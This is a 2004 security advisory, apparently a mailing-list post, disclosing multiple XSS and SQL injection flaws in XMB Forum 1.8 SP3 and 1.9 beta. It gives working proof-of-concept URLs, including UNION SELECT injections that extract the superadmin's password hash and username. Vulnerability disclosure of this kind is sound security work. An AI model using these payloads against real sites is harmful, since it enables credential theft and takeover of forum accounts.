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[waraxe-2004-SA#012 - Multiple vulnerabilities in XMB Forum 1.8 SP3 and 1.9 beta]
From: Janek Vind <come2waraxe () yahoo com>
Date: Fri, 26 Mar 2004 10:35:58 -0800 (PST)



{================================================================================}
{                              [waraxe-2004-SA#012]   
                          }
{================================================================================}
{                                                     
                          }
{    [ Multiple vulnerabilities in XMB 1.8 Partagium
SP3 and 1.9 Nexus Beta ]    }
{                                                     
                          }
{================================================================================}
                                                      
                                                      
                  
Author: Janek Vind "waraxe"
Date: 26. March 2004
Location: Estonia, Tartu



Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Extreme Messageboard aka XMB is very popular and
feature rich forum,
based on php and mysql. More information can be found
on sites
http://www.aventure-media.co.uk and
http://www.xmbforum.com


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Ok, we have lot's of the security flaws to disclosure,
so let's begin...


1. php and webserver info disclosure and possible XSS

Beginning with XMB 1.9 beta versions, file named
phpinfo.php is shipped with forum
software. Original code:

<?php
/* $Id: phpinfo.php, v1.00 2003/10/11 10:45:18 Tularis
Exp $ */
phpinfo();
?>

In this way ANYONE can get lot's of insider
information from webserver and php engine
environment - good startup for attacker...
And even "better" - phpinfo.php can be used for
exploiting the XSS:

http://localhost/xmb19beta/phpinfo.php?foobar=<script>alert(document.cookie);</script>



2. XSS in xmb.php --> works in 1.8 SP3 and 1.9 beta

Example http request:

http://localhost/xmb19beta/xmb.php?show=version&xmbuser=foobar><body
onload=alert(document.cookie);>

Remark: Log off before trying this or it will not
work!



3. XSS in editprofile.php --> only in 1.9 beta

Example request:

http://localhost/xmb19beta/editprofile.php?user=notexist_foobar&u2uheader=<body%20onload=alert(document.cookie);>


4. XSS in u2u.php --> works in 1.8 SP3 and 1.9 beta

Example request:

http://localhost/xmb19beta/u2u.php?folder=foobar";><body%20onload=alert(document.cookie);>


5. XSS in stats.php --> works in 1.8 SP3 and 1.9 beta

Reason --> uninitialized variables
$viewmost,$replymost,$latest

http://localhost/xmb19beta/stats.php?action=view&viewmost=";></textarea><body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/stats.php?action=view&replymost=";></textarea><body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/stats.php?action=view&latest=";></textarea><body%20onload=alert(document.cookie);>


6. XSS in post.php 

Reason --> uninitialized variables $message,$icons -->
works in 1.8 SP3 and 1.9 beta

http://localhost/xmb19beta/post.php?action=newthread&fid=1&message=";></textarea><body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/post.php?action=newthread&fid=1&icons=<body%20onload=alert(document.cookie);>


7. XSS in  forumdisplay.php --> works in 1.8 SP3 and
1.9 beta

Reason --> uninitialized variables
$threadlist,$pagelinks,$forumlist,$navigation,$forumdisplay

http://localhost/xmb19beta/forumdisplay.php?fid=1&threadlist=<body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/forumdisplay.php?fid=1&pagelinks=<body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/forumdisplay.php?fid=1&forumlist=<body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/forumdisplay.php?fid=1&navigation=<body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/forumdisplay.php?fid=1&forumdisplay=<body%20onload=alert(document.cookie);>


8. Sql injection and XSS in forumdisplay.php 

http://localhost/xmb19beta/forumdisplay.php?fid=1&tpp=<body%20onload=alert(document.cookie);>

Remark: will work only, when no user logged in,
because logging in will override the $tpp value.


*************** [really scary sql injection bugs]
***************

9. sql injection and XSS in member.php --> only in 1.9
beta version


Let's look at original code, line 461:

switch($self['status']){
                case 'member';
                    $restrict .= " f.private !='3'
AND";

                case 'Moderator';

                case 'Super Moderator';
                    $restrict .= " f.private != '2'
AND";

                case 'Administrator';
                    $restrict .= " f.userlist = '' AND
f.password = '' AND";

                case 'Super Administrator';
                    break;

                default:
                    $restrict .= " f.private !='3' AND
f.private != '2' AND f.userlist = '' AND f.password =
'' AND";
                    break;
            }
Hmm, $restrict is not initialized anywhere! So we can
delivere here all what we want:
http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=foobar
You have an error in your SQL syntax.

XSS:

http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=<body%20onload=alert(document.cookie);>

And now the funniest part - how to get superadmin's
password's md5 hash from database:

http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=%20f.private=-99%20GROUP%20BY%20p.fid%20UNION%20SELECT%20password,null,99%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/*

Or u want superadmin's username? Here it is:

http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=%20f.private=-99%20GROUP%20BY%20p.fid%20UNION%20SELECT%20username,null,99%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/*


10. sql injection and XSS in misc.php --> only in 1.9
beta version


http://localhost/xmb19beta/misc.php?action=search&restrict=<body%20onload=alert(document.cookie);>

http://localhost/xmb19beta/misc.php?action=search&restrict=%20private=-99%20UNION%20SELECT%20null,null,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/*


11. sql injection and XSS in today.php --> only in 1.9
beta version

http://localhost/xmb19beta/today.php?restrict=<body%20onload=alert(document.cookie);>




*************** [/really scary sql injection bugs]
***************


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Greets to torufoorum members and to all bugtraq
readers in Estonia! Tervitused!
Special greets to Stefano from UT Bee Clan!


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    come2waraxe () yahoo com
    Janek Vind "waraxe"

---------------------------------- [ EOF ]
------------------------------------


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